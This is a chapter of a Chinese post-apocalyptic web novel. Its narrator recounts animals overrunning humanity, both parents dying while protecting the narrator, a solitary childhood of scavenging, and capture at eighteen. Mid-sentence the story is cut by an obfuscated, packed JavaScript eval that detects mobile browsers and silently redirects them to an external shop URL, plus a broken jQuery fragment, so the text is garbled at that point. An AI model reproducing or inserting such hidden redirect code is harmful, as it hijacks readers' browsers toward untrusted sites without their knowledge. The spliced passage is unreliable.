主人的爪子掐进我喉咙的时候，我听见自己气管里发出破风箱一般都“嗬嗬”声。
这真的是我吗？
不过窒息的感觉其实没有想象中那么痛苦，最后那阵子，我的脑子里反而很安静，闪过一些很久远的画面，就像老式放映机上的胶片电影。
五岁那年的生日，妈妈做的鸡蛋糕，上面插着五根歪歪扭扭的蜡烛，爸爸把我举过头顶，我笑得口水都流出来，觉得全世界都是我的。
那时候的世界，还是属于人类的。
然后，一切都变了。
我记得那天傍晚，天边烧着很好看的晚霞，紫红紫红的。
我趴在阳台上看楼下的小狗追自己的尾巴，忽然听见一阵骚动，尖叫声，还有汽车喇叭乱响。
我探头去看，街对面超市的卷帘门被撞得稀烂，一头黑熊直着身子走出来，身上穿着不知道从哪儿扯下来的半截窗帘，像披着斗篷的怪物。
它在笑。
那张熊脸上露出一个非常人性化、非常狰狞的笑容，手里还拎着一袋薯片。
我吓傻了，回头喊爸妈。
爸爸冲过来把我抱进屋里，脸色刷白。妈妈在打电话，手抖得按不准号码。
那天晚上，电视里所有的频道都在播放相同的画面。
城市里到处是游荡的动物，老虎在银行门口踱步，狮子趴在公交车顶上，一群猴子砸开了警察局的门……
播音员的声音断断续续，最后变成一片雪花。
军队出动了，但没有用。动物的数量太多了，而且它们像是商量好的，有组织，有目的。
人类引以为傲的武器在它们面前显得可笑。子弹打穿一头棕熊的身体，它晃了晃，反倒更狂暴地扑过来。
更可怕的是，那些被俘虏的人，并没有被动物杀死。
他们被套上项圈，拴上链子，像狗一样被牵走。
爸爸当天晚上就做了决定。
他把我从被窝里拖出来，塞给我一个小背包，里面有水、压缩饼干，还有我的那件小恐龙睡衣。
妈妈眼眶红红的，但没哭，她把我的脸捏了又捏。
她说：“宝贝，别怕，爸爸妈妈在。”
我们趁着夜色溜出了家门。街上乱成一锅粥，到处是火光和哀嚎。
我们走小路，翻栅栏，躲在地下停车场里过了一夜。
那是我第一次听见成年男人的哭声，闷闷的，压在胳膊底下，肩膀一耸一耸。
那是爸爸。
之后的记忆就像被摔碎的万花筒。
我们不停地走，白天躲在废弃的房子里、桥洞下、下水道中，夜里赶路。饿极了就翻垃圾桶，或者去那些被洗劫过无数次的超市残骸里找点过期的东西。
妈妈的一头长发剪成了板寸，脸上抹着灰。爸爸变得越来越沉默，眼神里总有一种我后来才读懂的绝望。
他曾经是个工程师，修电脑的，手指修长干净，后来那双手变得粗糙开裂，指甲缝里都是黑泥，为了给我撬开一个生锈的罐头，指甲盖都翻起来。但他一声没吭，把血在裤子上蹭了蹭，把罐头递给我。
应该是逃亡的第三个月吧，也可能是第四个月。我们躲在一个小镇的边缘，食物彻底吃完了。
远处有一个被砸烂了大半的超市，招牌歪斜着，里面黑漆漆的。
爸爸看了很久，说：“我去碰碰运气。你们待在这里，不管发生什么都别出来。”
妈妈抱着我，手指掐进我的胳膊里。但她没拦他，只是垂下眼睛，说：“快点回来。”
爸爸亲了亲我的额头，他的胡子好久没刮了，扎得我痒痒的。
我缩在妈妈怀里，看着他猫着腰，贴着墙根，一点点挪进那个黑洞洞的超市入口。
那是我最后一次看见他完整的背影。
他再也没有回来。
我们等了整整两天。
妈妈像一尊石像，抱着我，眼睛死死盯着那个超市门口。
第三天，一群鬣狗从里面拖出来几具骨架，皮肉剥得干干净净。
妈妈猛地捂住我的眼睛，但我还是看见了那件破夹克，那件属于爸爸的夹克。
我听见妈妈喉咙里发出极低的呜咽，像受伤的野兽。
她抱起我，跌跌撞撞地跑了。
从那以后，妈妈就变了。
她不怎么说话，但动作更快，更狠。她学会了用匕首，用石头，甚至用牙齿。
有一次我们被一只浣熊拦住，她扑上去，直接咬断了那畜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915013|213289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生的喉咙，满脸是血。
然后她回头对我笑，说：“宝贝，别怕。”
我真的不怕。
有妈妈在，我什么都不怕。
但我们最后还是没能躲过。
几个月后，在一片废弃的居民区，几头野猪堵住了我们的去路，它们的獠牙像锋利的弯刀。
妈妈把我推进一个地窖的入口，盖上木板，转过身，手里攥着那把豁了口的匕首。
“别出声，”她隔着木板对我喊，“无论听见什么，都别出来。”
我趴在木板缝隙里，看着她的背影。
夕阳又来了，和五岁那天一样，紫红紫红的。
妈妈冲过去，像扑火的飞蛾。
野猪的咆哮，匕首扎进皮肉的声音，还有妈妈最后的尖叫……
一切都安静下来。
木板缝里透进来的光，被黏稠的暗红色覆盖。
我在地窖里待了三天。
爬出来的时候，妈妈的遗体已经不见了，地上只有深褐色的血迹和几缕头发。
我把那几缕头发捡起来，用捡来的橡皮筋扎好，贴身放着。
那之后，我就是一个人了。
一个六岁的小孩，在末日里，像一条野狗一样活着。
我学会了一切生存的本事。偷、抢、躲、装死。
我长得不算难看，小时候爸妈总夸我眼睛亮，像葡萄。这双眼睛后来救过我，也害过我。
有时候我会遇见一些好心的动物——说“好心”，其实只是它们暂时不饿，或者心情不错——会丢给我一点残羹。
更多的时候，我得从别的流浪汉手里抢食，那些和我一样侥幸活着的人类，大多已经不像人了，眼睛是绿的，看见食物比看见同类更亲。
就这么磕磕绊绊地，我居然活到了十八岁。
我学会了很多东西，比如不要直视大型食肉动物的眼睛，比如身上永远要带着泥巴抹黑皮肤，比如晚上睡觉要把自己埋在垃圾堆里，只留一个鼻孔透气。
我以为我能一直这么活下去，像一只卑微但顽强的蟑螂。
直到某一天，我在废墟里翻找东西，后脑勺忽然挨了一记闷棍。
再次醒来的时候，我出现在一个铁笼子里。